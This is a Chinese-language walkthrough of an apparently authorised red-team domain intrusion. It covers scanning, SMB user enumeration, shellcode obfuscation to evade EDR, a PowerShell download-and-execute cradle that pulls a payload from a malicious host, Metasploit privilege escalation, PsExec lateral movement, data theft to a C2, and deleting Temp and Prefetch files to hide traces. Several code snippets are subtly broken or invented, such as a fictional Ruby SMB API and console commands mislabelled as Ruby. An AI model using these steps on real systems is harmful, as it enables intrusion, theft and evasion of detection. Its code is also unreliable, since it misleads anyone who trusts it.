一、案例引入:一次隐秘的域渗透

在某次授权的红队演练中,我们接到了一个任务:渗透某大型企业的内部网络,目标是在不被发现的情况下获取域管理员权限。这家公司拥有复杂的Windows域结构和多层防御机制,包括最新的EDR(终端检测与响应)系统。在这种情况下,传统的攻击手段很可能会被检测到,因此我们需要一种巧妙的绕过方式。

我们的突破口在于发现该企业的某个开发部门中存在一台Windows Server,该服务器对外提供API服务,并未及时更新补丁。通过对该服务器的漏洞利用,我们成功获取了初始访问权限,并开始我们的域渗透之旅。

二、信息收集与初步渗透

一旦进入目标网络,信息收集是渗透的第一步。我们利用各种工具和脚本来探测域内的信息,找出潜在的攻击路径。

网络扫描与服务识别

工具:Nmap & Ruby脚本

首先,我们用Nmap扫描目标网络,以识别开放的端口和服务:

<pre><code class="language-shell">nmap -sS -p- --open -T4 10.0.0.0/24</code></pre>

黑客示意图

在这次扫描中,我们发现了几台服务器运行着Windows服务,其中一台甚至在445端口开启了SMB服务。

用户枚举与凭证捕获

工具:Ruby + SMB脚本

为了获取更多的用户信息,我们编写了一个简单的Ruby脚本,利用SMB协议进行用户枚举:

<pre><code class="language-ruby">require &#039;smb&#039;

黑客示意图

host = &#039;10.0.0.6&#039; smb = SMB::Client.new(host: host) smb.enumerate_users.each do |user| puts &quot;Found user: #{user}&quot; end</code></pre>

这段代码帮助我们枚举出了一些域用户,接下来,我们准备通过凭证窃取工具(如Mimikatz)来捕获敏感信息。

三、Payload构造:武器化技巧

在获取了足够的信息后,下一步就是构造有效的Payload,绕过目标的安全防护。

绕过EDR与免杀技巧

为了在目标系统上执行恶意代码,我们需要确保Payload能够绕过现有的EDR防护。我们使用以下技术:

工具:Shellcode生成器 & Ruby

首先,我们生成Shellcode,并通过Ruby脚本进行混淆和编码处理:

<pre><code class="language-ruby">shellcode = &quot;\x31\xc0\x50\x68...&quot; encoded = shellcode.unpack1(&#039;h*&#039;) puts &quot;Encoded shellcode: #{encoded}&quot;</code></pre>

通过这种简单的编码,我们可以避免常见的特征检测。

内存加载与执行

工具:PowerShell & Ruby

为了避免写入磁盘导致被防护软件检测,我们利用PowerShell来动态加载和执行Payload:

<pre><code class="language-ruby">powershell = &#039;powershell -Command &quot;IEX(New-Object Net.WebClient).DownloadString(\&#039;http://malicious-site.com/payload.ps1\&#039;)&quot;&#039; puts #{powershell}</code></pre>

通过这种方式,Payload被直接加载到内存中进行执行,极大降低被发现的风险。

四、横向移动与权限提升

黑客示意图

成功在目标机器上执行Payload后,我们需要进一步提升权限,并在网络中横向移动。

本地权限提升

工具:Metasploit & Ruby

我们利用Metasploit框架中的漏洞模块进行权限提升:

<pre><code class="language-ruby">use exploit/windows/local/ms14_058_track_popup_menu

set session 1 exploit</code></pre>

成功提升权限后,我们获取了管理员权限,接下来便是横向移动。

横向移动策略

工具:PsExec & Ruby

我们编写Ruby脚本结合PsExec工具来进行域内横向移动:

<pre><code class="language-ruby">require &#039;rex&#039; rex = Rex::Proto::SMB::SimpleClient.new rex.connect(&#039;10.0.0.8&#039;, 445) rex.login(&#039;administrator&#039;, &#039;password&#039;) rex.psexec(&#039;cmd.exe /c echo Hello from Ruby!&#039;)</code></pre>

黑客示意图

通过这种方式,我们能够在网络中进一步扩展控制范围。

五、数据窃取与痕迹清除

达到目标后,我们开始进行数据窃取,同时确保不留下任何痕迹。

数据窃取策略

工具:Ruby + Web请求

利用Ruby脚本,我们进行敏感数据的窃取:

<pre><code class="language-ruby">require &#039;net/http&#039;

uri = URI(&#039;http://target-server.com/secret-data&#039;) response = Net::HTTP.get(uri) puts &quot;Data stolen: #{response}&quot;</code></pre>

将数据上传到我们的C2服务器进行存储和分析。

痕迹清除技巧

工具:Windows命令 & Ruby

为了清除痕迹,我们执行一系列的清除命令,通过Ruby进行自动化:

<pre><code class="language-ruby">commands = [ &#039;del /f /q C:\\Windows\\Temp\\&#039;, &#039;del /f /q C:\\Windows\\Prefetch\\&#039; ]

commands.each do |cmd| system(cmd) end</code></pre>

确保不留下任何操作记录,以防被追踪。

六、个人经验分享

在这次演练中,我们成功突破了目标的防御,获得了域管理员权限。通过这一过程,我深刻体会到,信息收集的准确性和Payload构造的隐秘性是渗透成功的关键。此外,熟练运用各种工具和脚本语言(如Ruby)的能力,将大大提升攻击的灵活性和成功率。

红队演练不仅仅是技术的对抗,更是策略的较量。每一次成功的渗透,都离不开前期的充分准备和后期的不留痕迹。希望这次分享能为大家提供一些新的思路和技巧。记住:攻击者的思维永远在于创新与突破。